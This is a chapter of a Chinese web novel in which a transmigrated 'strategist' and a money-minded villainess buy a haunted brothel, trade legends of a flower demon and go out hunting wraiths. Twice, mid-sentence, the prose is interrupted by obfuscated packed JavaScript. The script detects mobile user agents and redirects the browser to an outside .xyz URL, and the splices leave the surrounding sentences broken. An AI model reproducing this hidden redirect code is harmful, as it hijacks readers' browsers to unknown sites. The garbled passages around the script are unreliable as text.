阿福:…… 阿福有时候怀疑春朝露这个恶女是不是故意惹人生气的! 不是,你还真是个无缝的蛋啊! 他刚想跟上去再说些什么,就听见蓝衣短打皮肤黝黑的大汉转头笑着说了一句“到了”。 抬头一看,纤手楼已经近在眼前。 不过与想象中烟花之地的青楼酒肆有些许区别。 那是一座和城中其他木质建筑并无什么不同的四层小楼,雕廊画栋,飞檐翘角,门口还挂着大红灯笼,门匾是个很别致的拈花姿势。如果非说此楼有什么特别,可能因为楼体是纯黑色的缘故,莫名阳光下也显得多出三分阴森凄诡,门口断带上仍能看见一个鲜红的封字曾经留下的印记。 春朝露又往里面扔了把米粒,这次米粒却没有化开,雪白溜圆的半透椭圆玉珠一样在地板上弹来弹去。 随着那道沉重的镂空花门被推开,一股厚重尘腻、不见阳光的味道扑面而来,阿福青年本能的上前半步挡在春朝露身前,直到那股粉尘的味道褪去。 “不好意思,店里许久不开张,忘记开门通风了。” 大汉告着罪当先进入店里,随即向二人介绍身后一个从楼上走下来的浑身干瘪的瘦小老头:“这就是楼里现在的管事。” 老头个矮,穿着枯木同色的深褐布衣,眼角下垂,鼻头肥厚,嘴唇上留着灰白的胡子,倒看上去是一副忠厚的样子。 阿福压低声音问春朝露:“你确定要买么,看见那门口半个封字了么?这地方好像有点问题哎。” “……有问题才说明没来错地方。”春朝露同样低声回道。 她看了眼管事,管事侧过身,笑着说了个“请”字。 春朝露点点头,看了眼那漆黑一片的小楼,当先一脚把身前的阿福青年踹了进去。 阿福还以为她不是故意的,拍着衣摆直起身,也不好多说啥,只能幽怨的回头看了她一眼。 见春朝露等了好一会儿才进来,管事还以为她是不喜欢这楼里沉闷阴暗,连忙招呼小厮移开门窗。 “不好意思了,实在是这附近的食人妖雾太多了,那东西虽没有视力,但嗅觉听觉实在太灵敏了,一听见人声动静大白天的就往房里钻,不吃到人是绝不肯走的,我们都被那东西弄怕了所以才……” 春朝露是踩着门口一地的米粒进的楼,那管事见了还赞道:“您是个讲究人,这灵米趋吉避凶的确是个好东西。” 春朝露为此多看了他一眼。 吱嘎、吱嘎,脚底的木地板像拉紧的弦,又像是缠绵病榻老人唇边溢出的最后呻吟。 她知道这些人嘴里的食人妖雾就是怨魉,见管事明显了解更多情况,不由多聊了两句:“可花城不是有破魔驿么?为什么不请驿站里的仙长来除魔呢?” “又不是没去过,但我们平民百姓的哪里请的动高高在上的仙长呢。”管事招呼春朝露楼上坐:“前几天还有路过花城要除魔的修士去找过破魔驿里的仙长,一个个架子可大了,把那修士都直接打了一顿赶了出来。这些人背后都是有仙门做靠山的,平日里拜高踩低最是擅长,连以前城主的话都不一定完全听,哪里会卖那病恹恹的少年城主的脸?除非有真正高位的仙君为我们主持公道,但堂堂仙君又怎么会到这小小花城来呢?” 仙君么?春朝露闻言皱了皱眉,也就是说花城破魔驿里聚集的全是畏惧权势却不讲私德的修士了。 “那你们平时怎么办呢?就这么一味忍耐着?” “哎,巷尾有个渔女庙,大家都说挺灵的,所以没事就去求个符讨个心里上的安慰。” “渔女庙?”春朝露百家仙门的奇闻异事都听过一点,但好像没听说哪家显灵的上神真仙是以渔女形象显身的。 “哎,也不是什么真的大仙”,管事的摆摆手:“只是我们城主以前村子的信的罢了。” “我们原先的城主是渔民出身,因城主幼时生下时有些缺陷所以他家里人很信这个。再后来城主逐渐长大,真的病痛全消不说还成就了一番功业,所以城主可能觉得里面多多少少有渔女保佑的缘故,来到花城时就把老家的渔女庙带了过来……正好城主夫人也不喜欢城里佛寺越建越多,所以就修了一些渔女庙。” 花城城主的故事春朝露是知道的,当时还起过疑觉得像是异界而来的攻略者,但人既然已经死了也只能作罢,没想到原来真相是这样。 各地民俗不同信仰自然也不相同,供奉一些野神游仙甚至是当地曾经的杰出人物都是正常的,庙一般集中的是正向的能量,包含着人们对美好的种种祝愿,说是奉神,但奉的不过是一种愿望罢了,虽然不会惹来邪祟,但让人病痛全消是不可能的,大抵只是人常将自己本身的努力寄托到了神佛的庇佑上罢了。 这样看来的话,那所谓渔女的福符也不过多是一种心理上的安慰。 一行人沿着不宽的楼梯向上,过了第一层入门梯,两侧楼梯旁开始出现一扇扇轻巧的雕花纸门,纸门上还挂着八角灯,写着秀丽的花名,虽然现在门后空寂,但仅凭残留的空景还是足以想象曾经灯起时的繁华靡艳。 阿福又悄悄凑了上了:“欸,你觉不觉得这楼……像没有人一样,是做空楼呀。” 春朝露头也不回的低声回他:“他不说了么,已经不开张许久了。” 再联想到门上的封字,果然是楼里出过事了吧。 管事本想招呼春朝露四下看看,没想到她比起楼倒像是对人更感兴趣:“管事的,能叫你们楼里的所有人都在我面前转一圈么?” 管事闻言愣了下,上下打量了春朝露一番,对着她解释道:“尊客刚来可能不知道,历来花城所有的花楼,都是卖艺不卖身的。” 这么说着,但他还是把楼里还在的工作人员都叫到春朝露跟前让他看了个遍,就像阿福说的一样,这里面没有美貌的妓娘,纤手宛如一座空楼,楼中留下的只有几个守楼的老仆和大汉。 封闭门窗的木板此时已经移开,室外的阳光涌进来,照亮整修的雅致大气的四层小楼,虽然久不营业了,但楼内依旧被打理的十分干净。光线透过镂空花窗雕刻的雕刻撒在地板上,挂着美人画的薄纸灯笼缓缓转动。 青铜色的白鹤衔梅香炉里,袅袅飘着青烟。 整修此楼的人明显品味不俗,但阿福总觉得这楼好像和街上其他店铺格格不入。 还不等他张口问系统,就听见转着茶杯的春朝露凑在他耳边轻声问:“你听过千手楼的诡异传说么?” “纤手楼的……什么传说?” 这不就是个花楼么?怎么还和校园七大不可思议一样有诡异传说! 春朝露见他果然没听说过,难得大方的和他分享道:“传说如果一栋民间花楼如果叫千手楼的话,那它二楼左手边第三件房是不兴住的,如果有客人留宿的话楼里就会出事。” “因为上古时期有种莳花大妖就叫做千手,这种妖性淫而恶。一间花楼叫千手的话就表示暗地里供奉此妖,要在花楼特定房间为大妖摆设祭坛,而这个特定的房间一般都是二楼第三间,因为莳花开二败三。大妖会保佑供奉的花楼生意繁荣,但因这种花妖虽然叫千手,却生得有花无叶,化成人后便天生无臂,所以如果留宿在为供奉大妖准备的房间里的话,大妖就会夺取客人的双臂,以此【鬼手】为恶。” 阿福想说,你在胡说八道吧? 他发现自己很难从春朝露的表情上判断她是不是在骗人,又想起她刚才进门前的讨人嫌举动,故意不肯配合,以为她在故意恐吓自己。 春朝露坐在圆桌前给自己添了杯茶,缓缓凑到唇边:“你要是不信我说的话,去楼上看看二楼第三件房是不是被封起来的不就知道了?” 阿福冷哼了一声,他还没忘记她最初想买下这栋楼的目的是想找个暂时留宿的地方,所以半点不肯相信春朝露一个小姑娘敢明知楼有鬼,偏买鬼楼住,但当那黑白分明的漂亮眼睛扫视过来的时候,他察觉到了一阵挑衅,于是一溜烟跑上了楼,半响又一身汗跑了回来。 “你怎么知道……那门是锁着的?” 春朝露笑笑不说话,跟着管事去了。 阿福在茶位上没等多长时间就见春朝露拿了地契回来,看来已经是买下了。那管事还跟在身后殷勤介绍,说他们这可是花城最繁华的一条街了,后面不管是改个茶楼还是弄个香堂都是极好的,态度之恳切,看样子就差马上想要实现原地再就业。 阿福瞪大眼:“管事就这么爽快地卖了?” 春朝露点点头:“楼里大老板不在了,再加上城里闹邪祟生意难做,管事正想卖了出手。” “你还说不干赔本生意,这不是尽干赔本生意!你明知道这楼有问题还买?……老板都不在了,这分明真的就是座鬼楼!” 春朝露看了他一眼:“为何不买,我来正是破魔除邪,到时低买高卖,稳赚不赔。” 阿福想夸你可真是会赚,对着反派那张可恶又可爱的脸却实在是夸不出来,半响干巴巴憋出来句:“行吧,那你还不去速去麻溜的……咔咔嚓嚓?” 说到这里,春朝露皱起眉:“不急,有些事还需要确认下。” 春朝露看着不远处站在窗前指挥仆从清扫的管事,清透的阳光透在管事身上,把那浑身上下蠕动的黑手印映照的更加明显,漆黑的手印沼泽般溢着森森鬼气。 这管事看似忠厚,但果然能当花楼管事的果然都不是一般人,接触一下就发现实则滑不留手。她曾以过往之事试探过管事,管事却顾左右而言其他。 她问老板纤手楼的名字是谁取的,他说是前任的黑衣老板,但黑衣老板现在已经不在了,风月之地人早逝也是寻常事,所以他们都未曾在意。 她试探楼中似乎发生过命案,又是否可能与城中闹祟之事有关,管事当即矢口否认,口口声声都是没有。 管事知道些什么,却不肯据实相告,所以她只能出手先拿下这座楼。 如果这栋楼真有问题,放任管事坑蒙拐骗的引人进楼,就是生生在害命。 春朝露倒不是畏惧这楼里真的藏有大妖,只是传说毕竟只是传说,从小到大也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14665632|156763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没见哪个传说真的成真,没听说哪里真闹出过千手莳花妖,怎么突然就在这花城里出现了呢?虽然传说的确替他们指明了方向,但贸然出手并不稳妥。 要是有个地方能获取更多信息就好了,只可惜管事奸滑,城中百姓畏缩,都不是好的询问对象。 春朝露转着手上的兽铃手环,不知道在想些什么。 春朝露很白,比一般人白很多,雪一样皑皑的,此时白日清光透过格窗,扫在她的发顶就是淡淡一层光圈。春朝露其实算是少有的,不笑比笑好看的人,许是天生明眸善睐,笑多了显得虚情假意,不笑时倒长睫如剑,眸光如水,更显清冽。 此时的春朝露褪去了阿福一贯讨厌的谄媚金钱的庸俗样子,一改常态的严肃端庄,莫名让阿福青年联想起他之前打的一个游戏开场壁画里出现的琅嬛飘带,手执长剑的神圣天女,表情肃穆,剑破万邪。 那个小天女曾经是阿福在游戏里最喜欢的角色,而全身铜臭的春朝露却明明是他最讨厌的那种女生,两个全然不像的人物怎么会在此时联系在一起呢? 阿福摇摇头试图摆脱那一刻不正常的心跳,要捡回自己攻略者的尊严!成为一个比春朝露还无情的数字机器! 当他转过头,春朝露那张雪白秀丽的脸却突然凑近在了自己面前。 空气好像一下子就变得有些暧昧了。 因为离得近,他能看清她纤长上翘的睫羽,白皙小巧的鼻尖,水润微嘟却总是刻薄的嘴唇,甚至能看她脸上薄薄那层绒毛。 她专注的盯着自己,像在审视着什么一般。 然后他听见凑得这么近的春朝露说:“这么一想的话,果然有个地方不得不要去先下,不过在去这个地方之前——” 在去这个地方之前要干什么? 干什么很重要的事吗? 什么很重要的事你非看我? 阿福听见自己咽了口唾沫,不知为何突然有点紧张。 春朝露的手指搭在他的脸侧,有一下没一下的敲着,力度不重,但存在感很强。 怎么,换个地方看感觉更好了么?还是这个光线下看人比较有感觉? 春朝露的发带从她的颈侧滑了下来,砸到了他的肩膀。丝带上好像也带着她的发间的味道,闻起来竟然有些香香的,奇怪,不是说恶女身上只有铜臭味么? 他垂着眼,不敢相信自己此时竟还能走神。 他知道自己的这幅皮囊是极好的,所以曾经才对春朝露的不为所动很不爽,但春朝露也许不是不为所动,是感受延迟了呢?此地风好、景好、时机好,一个连他碰过的酥都要扔掉的春朝露突然离得这么近,万一大概如果,春朝露觊觎自己的男色的话,那自己要不要从了她呢? 他真的要为任务牺牲这么多么? 可是春朝露一个不谈感情的赚钱机器,这是难得的机会吧。从翻滚床单开始的感情也算是感情,这样的选择才对攻略有利吧? 阿福青年一副为大义舍身的语气问系统:“系统,如果攻略目标觊觎我的美色怎么办?我的权限应该是可以和攻略目标发生进一步深入关系的吧?” 系统:【……】 【醒醒吧宿主,外面天还亮着呢。】 这真的是屠榜前十的攻略者么,到底是你迷惑恶女还是恶女迷惑你? 反派恶女就算真的要做什么会大白天敞着大门,还当着进进出出的仆从的面么! 就在系统冷冷吐槽的时候,就听见春朝露揪着自家宿主衣服的前襟,然后对他说:“这里不太方便,我们换个没有人的地方。” 系统:! 什么不太方便,你们要干什么! 难道当狗养的宿主终于要站起来变成人了么? 春朝露把自称秦福宜的青年拉进了一件空房间,迫使他在一面妆镜前坐下。 春朝露细细打量了镜中苍白俊秀的青年,嘴里还不时念叨着:“……嗯,性子不像,但身形嘛,七七八八?” 也许是系统的嘲讽太讥讽,也许是屁股底下的妆凳太凉,秦福宜一下从拉长滤镜一样的氛围感中清醒过来,用过往一般居高临下又分外清醒的目光注视着镜中他身后的人。 雪肤,黑发,笑眼弯弯。 太美好的东西也往往太虚假。 秦福宜终于发现一直以来和春朝露接触的违和感来自哪里了,这种怪异也许就来自春朝露的不真实,明明是萍水相逢的陌生人,但春朝露看他的目光却像永远隔着一层镜面。 隔镜得到的东西,能有多少真实。越是深情,也就越是无情。 正当他暗自沮丧的时候,春朝露递给他一件不知道从哪找出来的雪白衣袍。 还没等他发问,就听她歪着头轻声说:“你能……打扮成我师兄的样子么?” 师兄? 这里为什么突然冒出来一个师兄! “你师兄?” “对,就是长泽仙君。” 春朝露叹了口气:“其实我从小有个愿望,一直希望能和我师兄除一次魔。所以你能实现一下我这个愿望么?” 秦福宜:……说好的攻略呢,原来是替身play么? 恶女你竟然好这口! 系统闻言也倒吸一口凉气,觉得春朝露丧心病狂,真是把少男的芳心往地心里踩。 但它嘴上还是安慰道:【宿主我知道你觉得这是奇耻大辱,但是——】 “好啊,没问题。” 系统话还没说完,就听见自己宿主火速答应了下来。 “当然,”贫穷清朗的青年柔顺的微微低下头说,像是不敢看身前人,嘴里嚅嗫着:“我愿为仙子做任何事。” 【宿主你……真是大义凌然,能屈能伸】 【你懂什么?】青年低头时眼底却划过一道坚定的光【这都是为了攻略目标】 【可宿主不是之前还坚持要靠自己上位么?】 【这就是在靠自己上位啊】,他眼里的光反而比刚才更亮些。 亏他还真以为春朝露是个没缝的蛋的! 他说反派恶女怎么油盐不进、虚情假意、冷若冰霜,宛如顶了一个不可接触咒一样呢,原来是少女的心思存放在别处,那怪不得攻略者们用尽办法也闯不进来了。 不过放在别处也比没有强啊! 【替身上位,也是上位!】 【要成为!替代!再超越!】 5. 破魔驿 与其无声的沉溺在长河中,不如抱着沸腾的心脏沉浸在烈火。 他也不知道为什么,明明只和春朝露认识了半日,半日里大部分还是相处的不怎么愉快的时光,但一想到春朝露会因那颗冰冷无情的心脏坠落在金钱与罪恶的深渊,成为一个万人所唾的人,他就不由会感到一丝难过。 他抬头看向镜中的自己,极其鲜明的五官,鼻骨起伏间有极优秀的转折,但因为清湛的双眼和薄唇边压不住的笑意,即使穿一身白,整个人也不但不显清冷,反而容光湛湛,像个马上要踏马行舟的世家游子。 秦福宜突然觉得手上有点空,好像缺了把能在掌心敲敲的折扇。 他本人向来是不喜欢白色的,日常吐槽这色像奔丧,但此刻穿在自己身上这么对镜一揽,瞬间觉得这色也不错,嗯,这世上没有不好的颜色只有穿不好颜色的人。 他禁不住像系统夸耀【这衣袍一上身,我觉感觉我已经赢了一半。】 之前他不管制定怎样的攻略计划,最大的目标其实都是挑起目标的感情,不管是见到可怜之人的哀怜之情,还是见到美貌之人的心动之欲,哪怕是愿意和他共同讨论糟糕过去的过往之恨都行。 什么都可以,偏偏什么都没有。 明明笑着,但春朝露冥顽的就像雪山顶积雪线上的寒石,远远望去山下穿暖花开万物复苏,但积雪线之上永远是一片冻土,寒风冷冽中不带任何人类的感情。 这种没有感情的感情,就是最糟糕的。也是秦福宜穿梭这么多世界后,最担心攻略目标陷入的状况,如果系统的扫描功能好用的话,秦福宜觉得春朝露的黑化值至少应该在95%以上了…… 放在一般的世界里,这个黑化值都是反派准备灭世的进度了,也不知道这个奇怪的世界为什么这么奇怪但又诡异的稳定着,黑化的反派恶女甚至还在东出除魔!虽然是为了钱,但这不能改变反派本质上在做的是好事啊。 也许就是因为春朝露是这么不拘一格的奇葩反派,他才更希望春朝露有更与众不同的、摆脱原有命运的一生吧。 一时的稳定,不代表一世的稳定,所以春朝露本人仍是最重要的一环。实话讲的话,在恶女油盐不进摆明有病不看的时候,他的确曾经短暂感觉过一阵的绝望,巧妇难为无米之炊,如果春朝露的心里早就不剩下任何一丝还在活动着的还滚烫着的感情存在的话,那无论怎样试图用普通人的爱恨情仇去引发感应,都像是往空井里投大石,任何试图引发回响的举动,都是徒劳的。 所以在知道春朝露心里还有那么一个师兄,对师兄还疑似有那么点不可言说的念头,甚至愿意把这丝念头牵引到自己身上时,秦福宜哪里会觉得是侮辱,这这分明是饿死之人的最后一根稻草! 而且,俗话说的好,只有锤头挥不好,哪有墙角撬不动? 看着镜子里相貌翩翩的自己,想想外貌,想想内在,想想……虽然自己不会修仙但恶女一定会爱的特别属性,秦福宜怎么想自己都不像是会输给一个区区师兄的人! 而且,呵,师兄师妹什么的,不是听上去就是古早文里的炮灰CP么,现下早不时兴这套了! 一个一同拜师学艺都没能拿下师妹的废物师兄,拿什么对抗一个年轻又野心勃勃还干劲十足的我呢? 秦福宜轻整飘带,给了镜中的自己一个自信的眼神。 【统,就现在,速度,我要那个男人的全部资料!】 早就想开口,但被宿主沉浸式的自恋恶心到的系统这时才终于找到了发言的机会:【宿主,这就是我刚才想和你说的,关于长泽仙君——】 系统的话没能进行下去,因为春朝露已经凑了过来,她站在青年的背后伸出手,雪白的手只露出一截,却足以想象衣袖下的是怎样的柔荑,于是就那么吸引走了自家宿主所有的注意力。 见春朝露小小声的打了声喷嚏,秦福宜慌忙问:“没事吧,是受凉了么?” 系统:……关于这次的攻略,它真的有种十分不妙的预感。 春朝露说:“没,就是感觉有人一直蛐蛐我。” 其实春朝露原本是有些烦的,她从进了花城就被动坠上了一个“挂件”,挂件眼神频闪,一时喜一时悲,仿佛在脑海里上演着什么无声的悲喜剧。 春朝露看不清也不想理解,只是她暂时手头有事,暂时无法对挂件进行妥善收纳,只好先随身带着。 只能希望挂件懂事吧,不要给自己添太多麻烦太好。春朝露认为大概率秦福宜也是所谓【攻略者】里的一员,虽然没有没有百分百的证据,但她对自己判断的确信度在十之八九。不过一般攻略者都是一副居高临下的怜悯表情,眼前这个倒是一会忧伤一会悲伤一会自闭一会又超自信的,也不知道在瞎自信些什么。她能感觉对方所思所想都是跟自己有关的,因为他就差把春朝露三个字写脸上了,但她不知道自己有什么值得他好想的,难道是……想出来了什么窃取她钱包的歪门邪道? 春朝露微微眯起大眼,暗地里境界度拉满。 明明怀疑的视线是看向自己,秦福宜却面不改色祸水东引:“是么,你想多了吧?也可能是刚才那掌柜在暗地盘算什么,都和你讲了感觉这人不对劲。” “不过也许只是楼内粉尘大一时敏感,不然我去给你开开窗通通风?” 针对自己对反派的关怀,秦福宜是有合理解释的。毕竟他现在是所谓“师兄”的替身,虽然对那个所谓师兄只闻其名不见其人,但能让小女孩念念不忘的师兄,除了美貌外,大抵就是如父如兄般温和宽厚的心性吧。 秦福宜越这么想,越觉得没错,这符合他设定的攻略角度,也正契合反派那个有爹不如没爹的童年创伤,曾经没有从父亲那得到的东西,却从师兄那得到了么? 秦福宜释然的笑笑,眼角唇畔尽是一个成熟男人的优越。虽然有些事他还没从系统那得到答案,但眼前不是有更合适的人么。 为了表达自己成为一个合格替身的决心,他甚至主动提起那个她心上的人: “长泽仙君……是怎样一个人?” 春朝露的手穿过腰间系带为他整理佩玉的位置,闻言头也不抬:“是个跟你完全不一样的人。” 秦福宜:…… 那你找我做替身? 而且你会不会聊天,你这么聊的话,这天根本没法聊下去啊! 他看了眼简直快成仙君标配了的白衣,带几分了然又带几分不屑的说:“他最喜欢白色所以最常穿白衣是么?就是那种飘飘欲仙的仙人是么?” 春朝露闻言倒是笑了下:“他不喜欢白色,但的确常穿白衣。仙人?感觉更像不知道哪天就突然病死了的痨病鬼吧。” ……你就这么说你“心上”的师兄。 秦福宜感觉春朝露话讲的很不合适,但现在谈天的氛围他不想打断,于是顺着她的话继续道:“不喜欢白色为什么还要穿白衣?” “因为他看不见其他颜色。” 春朝露拿出一条系带一圈又一圈绕在他的眼睛上,因为系带很薄,所以他仍能看见春朝露比划了一个指眼球的动作,然后说道:“我师兄有双很特别的眼睛,整个世界在他眼里都只能看见白色。” “天生的么?” “不是,后天造成的。” 秦福宜无法想象只能看见白色的眼睛是什么样的。 虽然感觉自己不该关心“情敌”,但作为一个疯狂喜欢射击游戏的人,他还是忍不住问出他感觉最影响现实功能的那个问题: “那杀人的时候怎么办,血又不是白的?” “他看不见血不就不能确定对方受伤情况有多严重、不就不能通过出血量判断对方是不是的确被自己杀死?万一被杀的人用手段装死怎么办?” 秦福宜没见过春朝露的师兄,只隐约记得也是个可攻略角色,那就也是个反派恶徒吧?恶徒不可能没杀过人啊。 春朝露笑笑不说话了,只是示意他已经好了。 “我们这是要出门么?” 从进了花城开始春朝露就接连奔波,现在有了安定的地方,不留下暂时休息一会么? “没错”,春朝露眨眨眼:“我们去破魔驿。” 破魔驿? 秦福宜感觉自己脑海里哪个火花突然闪了一下,却很快在还没完全想明白的时候熄灭了,因为春朝露捂住了他的嘴。 “嘘,”她说:“我师兄是个极其话少的人,你不是想要扮演他么,那就扮像一点。” 秦福宜张口本来想说些什么,却又马上咽了回去。 “老板,您这是要出去呀?”见春朝露出门,原先站在楼梯口的管事热情招呼。 “是啊,去城内打听打听开什么样的铺子挣钱,我看管事一副收拾东西马上要走的样子,不会我回来的时候管事已经不在了吧?” “哪能呢,还等着跟着新老板赚钱呢,我这一把年纪离了楼里又能去干什么呢?”管事摇摇头:“就是既然换老板了就把旧时不要的东西收拾下,万象更新,图个好彩头不是。” “是么,”春朝露点点头:“我看二楼第三间房门是锁起来的,想必那间是杂物间吧?那里面的东西可要好好收拾收拾,管事找人开门整理整理吧。” 管事闻言面色僵了僵,却没马上行动,只是嘴上道着:“是,您说得对。” 倒是管事身后站着的引路带他们来此的黑皮大汉见状想说着什么,但最后还是咽下去了,只用一种复杂的眼光看着二人。 秦福宜又想张口,却被春朝露一眼看了回去。 他现在怀疑春朝露是故意的。她师兄真的是个话少的人么,还是单纯嫌他烦编出来堵他嘴的? 秦福宜刚才还志得意满信誓旦旦说要来场完美表演再一点点像溃水之堤一样泄露出一点自己的不同,可他发现这人设根本不给他展现不同的机会啊!就像为春朝露量身定做拿出来让他闭嘴一样,他话都说不了,还哪什么来展示不同,拿意念读书的元宇宙神秘光波么? “这位小姐。” 就在春朝露要抬步下楼梯的时候,管事突然又叫住了她。 他说:“我看您像个善心的,但在这城里……也许少管闲事才能命长。” “少管闲事么?那这么说来的话,这城里的先城主和城主公子,是死于闲事管多了?还是闲事管少了呢?” 听见春朝露提起先城主,管事也目露惋惜,但只是一再摇头,不再说话。 见状春朝露不再逼问,提裙下楼,只是在擦肩而过时又忍不住发问:“人人少管闲事,人人命长,那那些闲事最终又落到何处了呢?” 她说:“你可知,我若不买你的楼,你必定活不过今晚。” 见那管事雷劈鹌鹑一样呆愣的站在原地,春朝露冷哼一声,径直甩裙下楼,像浮过漆黑楼梯的一层碧浪。 秦福宜憋了半天,最终还是没憋住,小声问道:“什么叫他活不过今晚,如果他活不过今晚,那今晚我们——” 春朝露看了他一眼:“怎么。害怕?” “害怕也没事”,她指指对面灯红酒绿一层四栋小楼:“害怕我就把你卖给对面楼,你长得也不差,假以时日说不定也能成为当街红牌呢。” 秦福宜:……这可不是劝人不害怕的架势。 不过春朝露不提醒他倒也差点忘了,他在这个世界可不是个自由人,是卖给纤手楼的花奴,按身份算就是个花妓,而以春朝露对他的吝啬程度,绝无可能分毛不取放他自由,他要是说害怕,春朝露绝对能转手就把他卖给隔壁花楼回血。 “这也没什么可担心的吧,花城的花楼不是卖艺不卖身的么?” 正常人比起和素未相识的陌生人一起待在一栋看上去有问题的花楼,应该更愿意到正常花楼里去吟风弄乐,拨动琴弦吧。 秦福宜察觉到了这又是试探,不好意思说他身无半点才艺,只能尴尬解释:“花城的花楼,都只收女孩子的。” “弹个琴还看性别?” 秦福宜尴尬的点点头。他比春朝露来花城早,自然更了解些花城的情况。 “可能女孩子弹起琴的样子更好看?花城曾以半佛之城受佛主五戒,其戒之一就是不淫,所以花城的花妓才可以只卖艺……但妓者,说白了做的还是出卖颜色的生意。” 不好看谁去看,哪有那么多爱好风雅的人,花楼可在花城相当鼎盛,连贩夫走卒都经常捧场,人不好看的话谁光听曲呀? 此时暮色渐渐低垂,晚星逐渐起了,一整条花街犹如游龙一般被逐个点亮,对面就是另一座花楼,楼里笑声如银铃,琴音如繁花。 这是春朝露第二次停下来听琴了,秦福宜猜想春朝露即使不擅音律但也应该颇好此道,于是尽管五音不全勉力吹捧:“真是出神入化,听了让人如入梦中。” “你认真的么?”春朝露回头看了他一眼:“琴技匠气满满不说,今天弹琴这姑娘可能遇上了啥好事,把哀曲弹成爱曲,宛如在古人坟头狂舞胡旋,就这都能让你听了如入梦中?坟头哭丧的梦么?” 秦福宜:……好气,露怯了。 “不好听你还听,到底是琴曲勾你啊还是你记忆里那个会弹琴的人勾你啊?” 秦福宜也不知怎么的,突然福至心灵般了有此一问,如果春朝露不是停下听琴,那到底是哪个小婊砸一直让恶女在那念念不忘?是她嘴里的那个“只是认识的一个人会”。 “你想知道我嘴里那个会弹琴的人是谁?”春朝露颇有深意的看了他一眼:“这不远在天边,近在眼前么?你啊!” 秦福宜刚想说他哪会,分明刚才还因为不懂被嘲讽过,忽然白色发带飘过眼前,他骤然明白了春朝露的这个“你”指的是谁。 是了,他现在不是自己,不是秦福宜,是春朝露的“师兄”,是她找来的替身。 这师兄加分项还挺多嘛,秦福宜略带尖酸的想,一身白不爱讲话却偏偏爱弹曲,说不准其实暗地里是个闷骚呢。 虽然嘴里不知哪里弥漫一股不知名的苦味,却又被他很快咽下去,他一个没心没肺的攻略者才不关心春朝露对她师兄的感情有多真挚呢,他又不在乎,反正他在乎的是只要有感情能被他利用就行了。 于是他垂下头,只露出乌云一般的发顶和半个光洁的下巴,以符合自己人设的语气轻轻说:“那你和你师兄,感情很好呀。” “你应该很喜欢听他的琴声吧。” “感情好?喜欢听?”春朝露语气奇怪的反问:“你是不是误会了什么?” “我第一次听我师兄的琴的时候年纪还很小,师兄、哦不对,那时候他还不是我师兄,只能算一个发小,因为厌恶我路过不小心听到了他的琴声所以干脆利落的扯断了琴弦。我又没有受虐倾向为什么要喜欢听我师兄的琴?” 秦福宜:? 他是真不知道原来还有这么一段过往,他说为什么恶女要玩什么替身play,原来是爱而不得。那不是更好了哈哈哈,连和自己竞争的都没了,替身上位最爽的是什么,不就是替的那头根本没有人哈哈哈。 他的“前辈”费尽心神替他在反派心上挖了这么深的坑,却连看没看一眼就走掉了,只留他把自己塞进去雕刻成专属自己的形状。 这世上还有比这更令人轻松愉快的事么? 尽管心里快要笑出声,他嘴上还是哀悼道:“哎,我想他一定只是一时冲动,你也说了你们那时候还小,他后面肯定会后悔的。” “为什么要后面才后悔?我觉得他马上就后悔了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14665633|156763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “欸?为什么。” “因为我觉得他摆这么大架子让人很不爽,于是走上前去干脆利落的把琴扔进了火堆,告诉他说我耳朵很好用没法听不到,倒是他不想弹的话可以直接不用弹了。” “可恶啊,”春朝露语气颇感遗憾道:“这么多年我一直没找到一个让人听了就如闻天音、断之可惜的高超琴手……不然我也要把他带到我师兄面前,然后在他听一半时拉断琴弦。” 秦福宜:…… 不知为何有点想笑,又想给春朝露点赞。 “我其实一直都对古琴有点兴趣,现在沦落风尘是要学点看家本事,咳,你等等我,等我他日学成……” 秦福宜现在恨只恨当初他妈要给他来点素质教育的时候跑去当上树的吗喽了,不然现在一个替身带着超越原主的技能舞到原主身前去,这一幕想想就让他觉得热血沸腾。 【系统你真的没有什么积分兑换功能么,让我紧急点亮个古琴技】 【没有。我的功能只有宿主知道的那个。不对,这都不是关键,眼下的关键是,关于长泽仙君——】 系统的话再次被打断了,但这次不是春朝露,而是街道尽头的突然响起的一声声尖叫。 暮色合,旌旗舞,那熟悉的眼球出现在道路尽头,带着一地淋漓的血渍。 人群溃逃中,春朝露逆着人流飞略而去。 其实花城作为一个原文中一个被一笔带过的地点,因为并没有太多信息,所以往往不是攻略者们的首选,作为攻略者秦福宜此时对花城真相的了解不会比春朝露更多,他选择这个地点只是因为在这个节点上有个他觉得有个至关重要的选择。但当他真的和春朝露开始一起除魔后他发现他比他想象中的更享受这个过程,这个过程也比他想象中的更有代入感。 特别说春朝露入城之后,整个花城线就像被激活一样苏醒过来。秦福宜原先住读书人聚集的朝闻胡同时从没见过这种邪魔,但今天一日之内却看见了两次。 他甚至能近距离看清那雾影一样跳动的青筋下像走马灯一样被吞噬的生人眼前的最后一幕,那灰白发绿的雾想引诱他一样向前凑去,等他反应过来的时候那龇牙的尖口已经近在眼前了。 嗯,不对?近在眼前? 他不可置信的看向春朝露:“你你你干嘛要抓活的?” 那怨魉断腿蜘蛛一样扩散着黑丝的节肢根部都不知被什么东西捆住,春朝露从那一团黑障后面露出小半个脸,“自然是有用。” 秦福宜猛然回想起今晚出门的目的是去破魔驿,可人生地不熟,他好像也不知道那位置在哪,最后只能看向春朝露:“你不是要去什么驿么?你知道位置在哪么?” 